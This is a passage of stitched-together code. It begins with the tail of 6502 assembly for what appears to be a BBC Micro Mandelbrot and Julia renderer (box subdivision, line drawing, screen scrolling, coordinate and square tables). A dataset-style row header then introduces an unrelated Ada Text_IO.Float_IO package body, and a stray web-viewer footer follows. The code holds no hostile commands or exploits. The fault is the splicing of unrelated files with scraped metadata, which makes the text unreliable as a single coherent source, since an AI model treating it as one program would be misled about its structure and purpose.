rts
; Maps the ROM in A.
.map_rom
sei
sta romsel
sta romsel_ram
cli
.handy_rts
rts
.box
{
; Hacky temporary storage, reusing zr and zi in the kernel.
boxx1i = zr+0
boxy1i = zr+1
boxx2i = zi+0
linewidth = zi+1
; Check for keypress.
lda #kbd_irq
bit sheila+system_via+ifr
bne handy_rts
; *** First: draw the outlines of the box *******************************
; The line drawing routines don't draw the last pixel, so do that
; specially. (We need to probe one pixel anyway so it's no bad
; thing.)
ldx boxx2
stx screenx
ldy boxy2
sty screeny
calculate_screen_address
calculate_through_cache
sta corecolour
lda #&ff
sta colourflag
; Top stroke
ldx boxx1
stx screenx
ldy boxy1
sty screeny
sec
lda boxx2
sbc boxx1
sta sidecount
calculate_screen_address
jsr hline
; Right stroke
; screenx, screeny point at RHS of stroke
sec
lda boxy2
sbc boxy1
sta sidecount
jsr vline
; Left stroke
ldx boxx1
stx screenx
ldy boxy1
sty screeny
sec
lda boxy2
sbc boxy1
sta sidecount
calculate_screen_address
jsr vline
; Bottom stroke
; screenx, screeny point at bottom of stroke
sec
lda boxx2
sbc boxx1
sta sidecount
jsr hline
; If the sides aren't all the same colour, recurse.
bit colourflag
bpl recurse
; Otherwise, fill the current box.
; *** Then either: fill the current box *********************************
; The margins of the box are already drawn. We can use this to avoid
; the (expensive) cost of having to draw stray pixels on the left and
; right, at the expense of a (very cheap) overdraw.
lda boxx1
bit #1
beq left_margin_even
inc A
.left_margin_even
sta boxx1i
lda boxx2
bit #1
bne right_margin_odd
dec A
.right_margin_odd
sta boxx2i
; Calculate length of line.
sec
;lda boxx2i ; left in A from previous instruction
sbc boxx1i
beq exit ; don't do anything if the box has zero width
cmp #32
bcs recurse ; always recurse if the box is bigger than 32
and #&7e ; round down; now it's 2* bytes
asl A ; to 4* bytes
asl A ; to 8* bytes
sta linewidth
; Compute pixel colour.
lda corecolour
lsr A
ora corecolour
sta corecolour
; The top bound is *inclusive*, and we don't want to redraw the top row.
; The bottom bound is *exclusive* (as it makes the comparison cheaper)
; and so we leave it in boxy2 and don't copy it.
lda boxy1
inc A
sta boxy1i
sta screeny
; Check that our box does not have zero height.
lda boxy2
dec A
cmp boxy1i
beq exit
.yloop
ldx boxx1i
ldy screeny
calculate_screen_address
ldy linewidth
ldx corecolour
.xloop
; displacement in Y on entry
txa
sta (screenptr), Y
tya
sec
sbc #8
tay
bcs xloop ; value passed zero
inc screeny
lda screeny
cmp boxy2
bcc yloop
.exit
rts
; *** Or: recurse into the current box **********************************
; Start recursion. First, calculate the centre point, pushing as we go.
.recurse
clc
lda boxx1
adc boxx2 ; produces 9-bit result in C:A
ror A ; 9-bit right shift
cmp boxx1
beq box_too_small_x
ldx midx
phx
sta midx
clc
lda boxy1
adc boxy2 ; produces 9-bit result in C:A
ror A ; 9-bit right shift
cmp boxy1
beq box_too_small_y
ldy midy
phy
sta midy
; Recurse into top left.
lda boxx2: pha
lda boxy2: pha
lda midx
sta boxx2
lda midy
sta boxy2
jsr box
pla: sta boxy2
;pla: sta boxx2 --- immediately pushed back
; Recurse into bottom left.
;lda boxx2: pha
lda boxy1: pha
;lda midx --- already in boxx2.
;sta boxx2
lda midy
sta boxy1
jsr box
pla: sta boxy1
plx: stx boxx2
; Recurse into bottom right.
ldx boxx1: phx
;lda boxy1 ; already in A from previous pull
pha
lda midx
sta boxx1
lda midy
sta boxy1
jsr box
pla: sta boxy1
;pla: sta boxx1 --- immediately pushed back
; Recurse into top right.
;lda boxx1: pha
lda boxy2: pha
;lda midx --- midx already in boxx1.
;sta boxx1
lda midy
sta boxy2
jsr box
pla: sta boxy2
pla: sta boxx1
pla: sta midy
.box_too_small_y
pla: sta midx
.box_too_small_x
rts
}
; Runs the kernel to calculate the current pixel, and draws it.
.recalculate_pixel
{
; Turns screenx (0..127) / screeny (0..255) into ci/cr (-2..2).
lda julia
bne setup_julia
; Mandelbrot setup: x/y -> zr, cr, zi, cr
ldx screenx
lda pixels_to_zr_lo, X
sta zr+0
sta kernel_cr_lo
lda pixels_to_zr_hi, X
sta zr+1
sta kernel_cr_hi
ldy screeny
lda pixels_to_zi_lo, Y
sta zi+0
sta kernel_ci_lo
lda pixels_to_zi_hi, Y
sta zi+1
sta kernel_ci_hi
jmp kernel
.setup_julia
; Julia setup: x/y -> zr, zi; leave cr, ci unchanged
ldx screenx
lda pixels_to_zr_lo, X
sta zr+0
lda pixels_to_zr_hi, X
sta zr+1
ldy screeny
lda pixels_to_zi_lo, Y
sta zi+0
lda pixels_to_zi_hi, Y
sta zi+1
jmp kernel
}
align &100 ; hacky, but prevents page transitions in the code
.hline
{
calculate_through_cache
; Moves to the next horizontal pixel.
inc screenx
lda screenx
ror A
bcs next
; This pixel is even, so move to the next char.
; (C unset due to bcs above)
lda screenptr+0
adc #8
sta screenptr+0
bcs inchighbyte
.next
dec sidecount
bne hline
rts
.inchighbyte
inc screenptr+1
bra next
}
.vline
{
calculate_through_cache
; Move to the next vertical pixel.
inc screenptr+0
beq inchighbyte
.noinc
inc screeny
lda screeny
and #7
beq nextrow
dec sidecount
bne vline
rts
.inchighbyte
inc screenptr+1
bra noinc
.nextrow
clc
lda screenptr+0
adc #lo(640-8)
sta screenptr+0
lda screenptr+1
adc #hi(640-8)
sta screenptr+1
dec sidecount
bne vline
rts
}
; Swap the kernel to/from zero page, preserving Basic's state.
.kernel_inout
{
ldx #kernel_size-1
.loop
lda kernel, X
ldy kernel_data, X
sta kernel_data, X
sty kernel, X
dex
cpx #&ff
bne loop
rts
}
; Clears the screen between renders, or scrolls it and clears the bits that
; need to be re-rendered. "scroll" is passed in from the shell to tell us
; what to do. This code depends on intimate knowledge of the screen layout.
.init_screen
ldx scroll
jmp (scrolltable,x)
.scrolltable
equw clear_screen
equw scroll_left
equw scroll_right
equw scroll_down
equw scroll_up
.clear_screen
{
lda #&30
.*clear_to_end_of_screen
sta dest+1
lda #&00 ; the last run should have left dest set to &8000
; sta dest ; so no need to reset the low-order byte
ldx #0
ldy #2
.loop
dest = * + 1
sta &3000, x ; &3000 gets overwritten as we progress
inx ; advance to next byte
bne loop ; loop until we've done 256 bytes
inc dest+1 ; then increment high-order byte of address
dey ; keep track of 256-byte blocks with Y
bne loop ; loop until we've done 512 bytes
ldy #2
clc
lda dest ; add &80 bytes to skip info panel on right
adc #&80
sta dest
lda #0
bcc loop
inc dest+1
bpl loop ; loop until we hit &8000 which is end of screen
rts
}
; Move the contents of the screen right 32 columns, as in response to left-arrow
.scroll_left
{
lda #&31
sta src+1
lda #&31
sta dest+1
.outer
ldx #&80 ; start the loop with the counter already at &80
ldy #2
.loop
dex ; advance to previous byte
src = * + 1
lda &3100, x ; so these need to start &80 below the start addresses
dest = * + 1
sta &3180, x
cpx #0
bne loop ; count bytes to 0 (128 cycles the first time)
dec src+1 ; then decrement high-order bytes of addresses
dec dest+1
dey ; keep track of 128/256-byte blocks with Y
bne loop ; loop until we've done 384 bytes
clc
lda dest ; add &480 bytes to get to the next line
adc #&80
sta dest
lda dest+1
adc #&04
sta dest+1
lda src
adc #&80
sta src
lda src+1
adc #&04
sta src+1
bpl outer ; loop until src passes &8000 which is end of screen
}
lda #&30
ldx #&00
jmp clear_column
; Move the contents of the screen left 32 columns, as in response to right-arrow
.scroll_right
{
lda #&30
sta src+1
lda #&2f
sta dest+1
ldx #0
.outer
ldx #&80 ; start the loop with the counter already at &80
ldy #2
.loop
src = * + 1
lda &3000, x ; so these need to start &80 below the start addresses
dest = * + 1
sta &2f80, x
inx ; advance to next byte
bne loop ; count bytes to 256 (128 cycles the first time)
inc src+1 ; then increment high-order bytes of addresses
inc dest+1
dey ; keep track of 128/256-byte blocks with Y
bne loop ; loop until we've done 384 bytes
clc
lda dest ; add &80 bytes to skip info panel on right
adc #&80
sta dest
bcc skip
inc dest+1
clc
.skip
lda src
adc #&80
sta src
bcc outer
inc src+1
bpl outer ; loop until src hits &8000 which is end of screen
}
lda #&31
ldx #&80 ; the last run should have left dest set to &8180
.clear_column
{ sta dest+1
stx dest ; so no need to reset the low-order byte
clc
.loopa
ldx #0 ; jump back to here if we need to reset A
lda #0
.loop
dest = * + 1
sta &3180, x ; &3000 gets overwritten as we progress
inx ; advance to next byte
bpl loop ; loop until we've done 128 bytes
lda dest ; add &280 bytes to get to next line
adc #&80
sta dest
lda dest+1
adc #&02
sta dest+1
bpl loopa ; loop until we pass &8000
rts
}
; Move the contents of the screen up 64 rows, as in response to down-arrow
.scroll_down
{
lda #&44
sta src+1
lda #&30
sta dest+1
ldx #0
.outer
ldy #2
.loop
src = * + 1
lda &4400, x
dest = * + 1
sta &3000, x
inx ; advance to next byte
bne loop ; loop until we've done 256 bytes
inc src+1 ; then increment high-order bytes of addresses
inc dest+1
dey ; keep track of 256-byte blocks with Y
bne loop ; loop until we've done 512 bytes
clc
lda src ; add &80 bytes to skip info panel on right
adc #&80
sta src
sta dest ; src and dest low-order bytes change in parallel
bcc outer
inc dest+1
inc src+1
bpl outer ; loop until src hits &8000 which is end of screen
}
lda #&6c
jmp clear_to_end_of_screen
; Move the contents of the screen down 64 rows, as in response to up-arrow
.scroll_up
{
lda #&69
sta src+1
lda #&7d
sta dest+1
ldx #0
.outer
ldy #2
.loop
src = * + 1
lda &6980, x
dest = * + 1
sta &7d80, x
inx ; advance to next byte
bne loop ; loop until we've done 256 bytes
inc src+1 ; then increment high-order bytes of addresses
inc dest+1
dey ; keep track of 256-byte blocks with Y
bne loop ; loop until we've done 512 bytes
sec
lda src ; subtract &480 bytes to get to the previous row
sbc #&80
sta src
sta dest ; src and dest low-order bytes change in parallel
lda dest+1
sbc #&04
sta dest+1
sbc #&14 ; fixed difference between src and dest
sta src+1
cmp #&2d
bne outer ; loop until src passes &3000 which is start of screen
}
{
lda #&30
sta dest+1
; lda #&00 ; the last run should have left dest set to &4400
; sta dest ; so no need to reset the low-order byte
ldx #0
.loopa
ldy #2
lda #0 ; jump back to here if we need to reset A
.loop
dest = * + 1
sta &3000, x ; &3000 gets overwritten as we progress
inx ; advance to next byte
bne loop ; loop until we've done 256 bytes
inc dest+1 ; then increment high-order byte of address
dey ; keep track of 256-byte blocks with Y
bne loop ; loop until we've done 512 bytes
clc
lda dest ; add &80 bytes to skip info panel on right
adc #&80
sta dest
bcc loopa
lda dest+1
inc a
sta dest+1
cmp #&44
bne loopa ; loop until we hit &4400
rts
}
; Build the pixels-to-z table.
.build_pixels_to_z_table
{
temp = screenptr ; hacky temporary storage
; Load temp with step*128 (half a screen width).
stz temp+0
lda step ; A:(temp+0) = step * 256
lsr A
ror temp+0 ; A:(temp+0) = step * 128
sta temp+1
; Now set zr and zi to the top and left of the image.
sec
lda centerx+0
sbc temp+0
sta zr+0
lda centerx+1
sbc temp+1
sta zr+1
sec
lda centery+0
sbc temp+0
sta zi+0
lda centery+1
sbc temp+1
sta zi+1
; Y pixels go from 0 to 255, with 0x80 being the midpoint.
ldy #0
.yloop
clc
lda zi+0
sta pixels_to_zi_lo, Y
adc step
sta zi+0
lda zi+1
sta pixels_to_zi_hi, Y
adc #0
sta zi+1
iny
bne yloop
; (leaves Y=0)
; X pixels go from 0 to 127, with 0x40 being the midpoint, using double the step.
rol step
; Y is 0 from the bne above
.xloop
clc
lda zr+0
sta pixels_to_zr_lo, Y
adc step
sta zr+0
lda zr+1
sta pixels_to_zr_hi, Y
adc #0
sta zr+1
iny
bpl xloop ; exit at x=128
ror step ; remember to put step back the way it was!
rts
}
; Build the column table (bytes to address offset).
.build_col_table
{
stz screenptr+0
stz screenptr+1
ldx #0
.loop
clc
lda screenptr+0
sta col_table_lo+0, X
sta col_table_lo+1, X
adc #8
sta screenptr+0
lda screenptr+1
sta col_table_hi+0, X
sta col_table_hi+1, X
adc #0
sta screenptr+1
inx
inx
bpl loop ; loop until 127
rts
}
; Build the row table (pixels to address).
.build_row_table
stz screenptr+0
lda #&30 ; framebuffer at &3000
sta screenptr+1
ldx #0
.build_row_table_loop
clc
lda screenptr+0
sta row_table_lo, X
adc #1
sta screenptr+0
lda screenptr+1
sta row_table_hi, X
adc #0
sta screenptr+1
inx
beq build_row_table_loop_exit
txa
and #7
bne build_row_table_loop
; Reached the end of a char row; increment by (640-8) to move
; to the next char row.
clc
lda screenptr+0
adc #(640-8) MOD 256
sta screenptr+0
lda screenptr+1
adc #(640-8) DIV 256
sta screenptr+1
bra build_row_table_loop
.build_row_table_loop_exit
rts
.kernel_data
skip kernel_size
copyblock kernel, kernel_end, kernel_data
; Maps logical colours (0..15) to MODE 2 left-hand-pixel values.
align &100 ; must be page aligned
.palette
equb &80 ; high-bit colours 8-15
equb &82
equb &88
equb &8A
equb &A0
equb &A2
equb &A8
equb &AA
; These colours are used for looking up iterations. They're just repeated
; copies of the high-bit colours, black excluded (because black stripes
; look ugly).
for i, 0, 2
equb &82
equb &88
equb &8A
equb &A0
equb &A2
equb &A8
equb &AA
next
equb &82 ; stray
equb &88 ; stray
equb &8A ; stray
assert (* - palette) = ITERATIONS
equb &A0 ; for points *outside* the set
.main_program_end
; Uninitialised data follows.
align &100
.pixels_to_zi_lo skip &100
.pixels_to_zi_hi skip &100
.row_table_lo skip &100 ; pixels; 0..255
.row_table_hi skip &100
.pixels_to_zr_lo skip &80
.pixels_to_zr_hi skip &80
.col_table_lo skip &80 ; pixels; 0..255
.col_table_hi skip &80
print "mandel:", ~main_program_start, "to", ~main_program_end, "data top:", ~P%
save "mandel", main_program_start, main_program_end
; --- Screen mode setup -----------------------------------------------------
clear mc_base, mc_top
org mc_base
guard mc_top
.setscreen_start
{
lda #22: jsr oswrch
lda #129: jsr oswrch ; Note mode 129 (so text windows work)
lda #39: sta &30A ; Characters per line
lda #16: sta &34F ; Bytes per character
lda #&0F: sta &360 ; Number of colours
lda #&02: sta &361 ; Pixels per byte
lda #&AA: sta &362 ; Pixel left mask
lda #&55: sta &363 ; Pixel right mask
lda #154: ldx #&F4: jsr osbyte ; Video ULA control register
{
ldx #0
.loop
lda setup_bytes, X
jsr oswrch
inx
cpx #(setup_bytes_end - setup_bytes)
bne loop
}
; Load jgh's special thin character set.
lda #charset MOD 256
sta screenptr+0
lda #charset DIV 256
sta screenptr+1
{
ldx #0
.loop
lda #19
jsr oswrch
txa
ora #8
jsr oswrch
txa
jsr oswrch
lda #0
jsr oswrch
jsr oswrch
jsr oswrch
inx
cpx #8
bne loop
}
ldx #32
.charloop
lda #23
jsr oswrch
txa
jsr oswrch
ldy #0
.byteloop
txa
lsr A ; odd/even bit to C
lda (screenptr), Y
bcc dont_shift_nibble
asl A: asl A: asl A: asl A
.dont_shift_nibble
and #&F0
jsr oswrch
iny
cpy #8
bne byteloop
txa
lsr A ; odd/even bit to C
bcc dont_advance
clc
tya
adc screenptr+0
sta screenptr+0
bcc dont_advance
inc screenptr+1
.dont_advance
inx
cpx #127
bne charloop
rts
.setup_bytes
equb 20 ; reset palette
equb 23, 1, 0, 0, 0, 0, 0, 0, 0, 0 ; cursor off
equb 24: equw 0, 0, 1024, 1024 ; set graphics window
.setup_bytes_end
.charset
incbin "data/ThinSet"
}
.setscreen_end
print "setscrn:", ~setscreen_start, "to", ~setscreen_end
save "setscrn", setscreen_start, setscreen_end
; --- Table of squares ------------------------------------------------------
org &4000
guard &c000
.squares_start
{
for extended, -(1<<total_bits)/4, (1<<total_bits)/4-1, 2
real = extended / (1<<fraction_bits)
square = real^2
; Calculate the address of this number (taking into account the fixup).
address = (extended and &fffe) eor &8000
; Clamp the result at MAXINT.
clamp = (1<<(integer_bits - 1)) - 2/(1<<fraction_bits)
if square > clamp
clampedsquare = clamp
else
clampedsquare = square
endif
result = INT(clampedsquare * (1<<(fraction_bits - 1)) + 0.5) << 1
;print real, ~address, square, ~result, (result / (1<<fraction_bits) - square) * (1<<fraction_bits) / 2, "ulp"
org address
equw result
next
}
.squares_end
save "squaren", &4000, &8000
save "squarep", &8000, &c000
|
source/textio/a-tiflio.adb | ytomino/drake | 33 | 11895 | <reponame>ytomino/drake
with Ada.Text_IO.Formatting;
with System.Formatting.Float;
with System.Formatting.Literals.Float;
package body Ada.Text_IO.Float_IO is
procedure Put_To_Field (
To : out String;
Fore_Last, Last : out Natural;
Item : Num;
Aft : Field;
Exp : Field);
procedure Put_To_Field (
To : out String;
Fore_Last, Last : out Natural;
Item : Num;
Aft : Field;
Exp : Field)
is
Triming_Sign_Marks : constant System.Formatting.Sign_Marks :=
('-', System.Formatting.No_Sign, System.Formatting.No_Sign);
Aft_Width : constant Field := Field'Max (1, Aft);
begin
if Exp /= 0 then
System.Formatting.Float.Image (
Long_Long_Float (Item),
To,
Fore_Last,
Last,
Signs => Triming_Sign_Marks,
Aft_Width => Aft_Width,
Exponent_Digits_Width => Exp - 1); -- excluding '.'
else
System.Formatting.Float.Image_No_Exponent (
Long_Long_Float (Item),
To,
Fore_Last,
Last,
Signs => Triming_Sign_Marks,
Aft_Width => Aft_Width);
end if;
end Put_To_Field;
procedure Get_From_Field (
From : String;
Item : out Num;
Last : out Positive);
procedure Get_From_Field (
From : String;
Item : out Num;
Last : out Positive)
is
Base_Item : Long_Long_Float;
Error : Boolean;
begin
System.Formatting.Literals.Float.Get_Literal (
From,
Last,
Base_Item,
Error => Error);
if Error
or else Base_Item not in
Long_Long_Float (Num'First) .. Long_Long_Float (Num'Last)
then
raise Data_Error;
end if;
Item := Num (Base_Item);
end Get_From_Field;
-- implementation
procedure Get (
File : File_Type;
Item : out Num;
Width : Field := 0) is
begin
if Width /= 0 then
declare
S : String (1 .. Width);
Last_1 : Natural;
Last_2 : Natural;
begin
Formatting.Get_Field (File, S, Last_1); -- checking the predicate
Get_From_Field (S (1 .. Last_1), Item, Last_2);
if Last_2 /= Last_1 then
raise Data_Error;
end if;
end;
else
declare
S : constant String :=
Formatting.Get_Numeric_Literal (
File, -- checking the predicate
Real => True);
Last : Natural;
begin
Get_From_Field (S, Item, Last);
if Last /= S'Last then
raise Data_Error;
end if;
end;
end if;
end Get;
procedure Get (
Item : out Num;
Width : Field := 0) is
begin
Get (Current_Input.all, Item, Width);
end Get;
procedure Get (
File : not null File_Access;
Item : out Num;
Width : Field := 0) is
begin
Get (File.all, Item, Width);
end Get;
procedure Put (
File : File_Type;
Item : Num;
Fore : Field := Default_Fore;
Aft : Field := Default_Aft;
Exp : Field := Default_Exp)
is
S : String (1 .. Long_Long_Float'Width + Fore + Aft + Exp);
Fore_Last, Last : Natural;
Width : Field;
begin
Put_To_Field (S, Fore_Last, Last, Item, Aft, Exp);
if Fore_Last = Last then
-- infinity or NaN, reserve a minimum width
Width := Fore + 1 + Aft;
if Exp /= 0 then
Width := Width + 1 + Exp;
end if;
else
Width := Last - Fore_Last + Fore;
end if;
Formatting.Tail (
File, -- checking the predicate
S (1 .. Last),
Width);
end Put;
procedure Put (
Item : Num;
Fore : Field := Default_Fore;
Aft : Field := Default_Aft;
Exp : Field := Default_Exp) is
begin
Put (Current_Output.all, Item, Fore, Aft, Exp);
end Put;
procedure Put (
File : not null File_Access;
Item : Num;
Fore : Field := Default_Fore;
Aft : Field := Default_Aft;
Exp : Field := Default_Exp) is
begin
Put (File.all, Item, Fore, Aft, Exp);
end Put;
procedure Get (
From : String;
Item : out Num;
Last : out Positive) is
begin
Formatting.Get_Tail (From, First => Last);
Get_From_Field (From (Last .. From'Last), Item, Last);
end Get;
procedure Put (
To : out String;
Item : Num;
Aft : Field := Default_Aft;
Exp : Field := Default_Exp)
is
S : String (1 .. Long_Long_Float'Width + Aft + Exp);
Fore_Last, Last : Natural;
begin
Put_To_Field (S, Fore_Last, Last, Item, Aft, Exp);
Formatting.Tail (To, S (1 .. Last));
end Put;
procedure Put (
To : out String;
Last : out Natural;
Item : Num;
Aft : Field := Default_Aft;
Exp : Field := Default_Exp)
is
Fore_Last : Natural;
begin
Put_To_Field (To, Fore_Last, Last, Item, Aft, Exp);
end Put;
end Ada.Text_IO.Float_IO;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.